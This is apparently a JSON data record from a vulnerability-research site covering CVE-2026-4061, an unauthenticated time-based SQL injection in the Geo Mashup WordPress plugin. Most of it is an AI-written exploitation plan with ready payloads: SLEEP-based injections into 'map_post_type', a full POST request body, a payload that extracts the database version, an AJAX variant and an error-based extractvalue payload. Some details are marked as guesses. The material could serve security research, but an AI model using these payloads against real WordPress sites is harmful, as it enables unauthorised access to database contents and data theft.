[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f_lWotUIQtLzjMPOZRJqfEdCrmxlBHVdOsFhbIDFukNA":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":37},"CVE-2026-4061","geo-mashup-unauthenticated-time-based-sql-injection-via-mapposttype-parameter","Geo Mashup \u003C= 1.13.18 - Unauthenticated Time-Based SQL Injection via 'map_post_type' Parameter","The Geo Mashup plugin for WordPress is vulnerable to Time-Based SQL Injection via the 'map_post_type' parameter in all versions up to, and including, 1.13.18. This is due to the `SearchResults` hook explicitly calling `stripslashes_deep($_POST)` which removes WordPress magic quotes protection, followed by the unsanitized `map_post_type` value being concatenated into an `IN(...)` clause without `esc_sql()` or `$wpdb->prepare()`. The 'any' branch of the same code correctly applies `array_map('esc_sql', ...)`, but the else branch does not. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind approach. Exploitation requires the Geo Search feature to be enabled in plugin settings.","geo-mashup",null,"\u003C=1.13.18","1.13.19","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-05-01 00:00:00","2026-05-05 13:57:54",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fcc3cf6c5-643e-49ca-b09c-bd7cfec328ee?source=api-prod",5,[22,23,24,25,26,27,28,29],"geo-mashup-db.php","geo-mashup-options.php","geo-mashup.php","geo-query.php","php\u002FAdmin\u002FSettings\u002FOptionsPage.php","php\u002FSearch.php","readme.txt","vendor\u002Fcomposer\u002Finstalled.php","researched",false,3,"This research plan outlines the steps required to analyze and exploit CVE-2026-4061, a time-based SQL injection vulnerability in the Geo Mashup plugin.\n\n---\n\n### 1. Vulnerability Summary\n*   **ID:** CVE-2026-4061\n*   **Plugin:** Geo Mashup (geo-mashup)\n*   **Affected Versions:** \u003C= 1.13.18\n*   **Vulnerability Type:** Unauthenticated Time-Based SQL Injection\n*   **Vulnerable Parameter:** `map_post_type`\n*   **Root Cause:** The plugin's Geo Search feature (specifically in `GeoMashup\\Search`) fails to sanitize the `map_post_type` parameter when it is not set to `'any'`. Furthermore, the code explicitly removes WordPress's built-in magic quotes by calling `stripslashes_deep($_POST)`, and then concatenates the raw input into a SQL `IN(...)` clause within the `GeoMashupDB::get_object_locations` method.\n*   **Precondition:** The \"Geo Search\" feature must be enabled in the plugin settings.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** The frontend page containing the Geo Search form or the AJAX endpoint `wp-admin\u002Fadmin-ajax.php`.\n*   **Action:** `nopriv_geo_mashup_query` (if using AJAX) or a standard POST to a page with the search shortcode.\n*   **Authentication:** None (Unauthenticated).\n*   **Parameter:** `map_post_type` (POST).\n*   **Helper Parameters:** \n    *   `object_name`: Must be set to `post` to reach the vulnerable code path in `php\u002FSearch.php`.\n    *   `location_text`: Must be a valid string (e.g., \"New York\") to pass geocoding checks and trigger the database query.\n\n### 3. Code Flow\n1.  **Entry Point:** An unauthenticated user sends a POST request with `map_post_type` and `geo_mashup_search` parameters.\n2.  **Processing:** The plugin (likely in a `init` or `wp` hook in `geo-mashup-search.php`) detects a search submission and calls `stripslashes_deep($_POST)`.\n3.  **Instantiation:** A new `GeoMashup\\Search` object is created: `new Search( $_POST )`.\n4.  **Query Setup (`php\u002FSearch.php`):**\n    *   The `query()` method is called.\n    *   `extract( $this->query_vars, EXTR_OVERWRITE )` populates local variables, including `$map_post_type` and `$object_name`.\n    *   If `$object_name === 'post'` and `$map_post_type` is set, it is assigned to `$geo_query_args['map_post_type']`.\n5.  **Database Sink (`geo-mashup-db.php`):**\n    *   `GeoMashupDB::get_object_locations( $geo_query_args )` is called.\n    *   Inside this method, code checks if `$map_post_type` is `'any'`. If not, it enters an `else` branch where `$map_post_type` is concatenated directly into a string used in an `IN` clause: `... AND post_type IN ($map_post_type) ...`.\n\n### 4. Nonce Acquisition Strategy\nBased on the plugin's architecture, the public-facing Geo Search feature typically **does not require a nonce** to allow search engines and guests to use the search functionality. \n\nHowever, if a nonce is detected during manual inspection of the search form:\n1.  Identify the shortcode: `[geo_mashup_search]`.\n2.  Create a test page: `wp post create --post_type=page --post_status=publish --post_content='[geo_mashup_search]'`.\n3.  Navigate to the page using the `browser_navigate` tool.\n4.  Check for a nonce field in the form: `browser_eval(\"document.querySelector('input[name=\\\"_wpnonce\\\"]')?.value\")`.\n5.  Check for localized scripts: `browser_eval(\"window.GeoMashupSearchData?.nonce\")` (inferred variable name).\n\n### 5. Exploitation Strategy\nThe exploitation will use a time-based blind SQL injection payload.\n\n*   **Step 1: Enable Geo Search**\n    The feature is disabled by default. Use WP-CLI to enable it.\n    ```bash\n    wp option patch insert geo_mashup_options overall '{\"enable_geo_search\":\"true\"}' --format=json\n    ```\n\n*   **Step 2: Create Search Page**\n    Create a page to host the search functionality.\n    ```bash\n    wp post create --post_type=page --post_title=\"Geo Search\" --post_status=publish --post_content='[geo_mashup_search]'\n    ```\n\n*   **Step 3: Perform Time-Based Injection**\n    Send a POST request to the newly created page (or `admin-ajax.php` if applicable).\n\n    **Payload Logic:**\n    The input is placed inside `IN (...)`. We need to break out or append to the clause.\n    Payload: `'post') AND (SELECT 1 FROM (SELECT SLEEP(5))A)-- -`\n    \n    **HTTP Request (Targeting the page directly):**\n    *   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fgeo-search\u002F` (adjust to the actual page slug)\n    *   **Method:** `POST`\n    *   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n    *   **Body:**\n        ```\n        location_text=New+York&object_name=post&map_post_type='post') AND (SELECT 22 FROM (SELECT(SLEEP(5)))a)-- -\n        ```\n\n### 6. Test Data Setup\n1.  **Plugin Configuration:**\n    *   Enable `enable_geo_search` in `geo_mashup_options`.\n    *   Ensure at least one post has a location assigned (use `wp geo-mashup` commands if available, or manually via admin if necessary).\n2.  **Shortcode Page:**\n    *   Page Title: \"Exploit Test\"\n    *   Content: `[geo_mashup_search]`\n\n### 7. Expected Results\n*   **Vulnerable Version:** The server response will be delayed by approximately 5 seconds.\n*   **Patched Version:** The server will respond immediately, likely with an error or no results, as `esc_sql` or `prepare()` will escape the quotes and parentheses, neutralizing the injection.\n\n### 8. Verification Steps\nAfter the HTTP request, verify the behavior:\n1.  Check the time elapsed for the request. If `> 5.0s`, SQLi is confirmed.\n2.  Modify the payload to `SLEEP(0)` and verify the response is immediate (`\u003C 1.0s`).\n3.  Use the injection to extract the database version as further proof:\n    ```\n    map_post_type='post') AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='5',SLEEP(5),0)))a)-- -\n    ```\n\n### 9. Alternative Approaches\n*   **AJAX Endpoint:** If the frontend page logic is complex, target the registered AJAX action directly:\n    *   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n    *   **Body:** `action=geo_mashup_query&object_name=post&map_post_type=[PAYLOAD]&location_text=New+York`\n*   **Error-Based:** If `WP_DEBUG` is enabled, try inducing a syntax error to see if `$wpdb->last_error` is reflected in the output:\n    *   Payload: `map_post_type='post' OR 1=extractvalue(1,concat(0x7e,version()))`","gemini-3-flash-preview","2026-05-04 17:29:38","2026-05-04 17:30:17",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","1.13.18","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeo-mashup\u002Ftags\u002F1.13.18","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgeo-mashup.1.13.18.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeo-mashup\u002Ftags\u002F1.13.19","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgeo-mashup.1.13.19.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeo-mashup\u002Ftags"]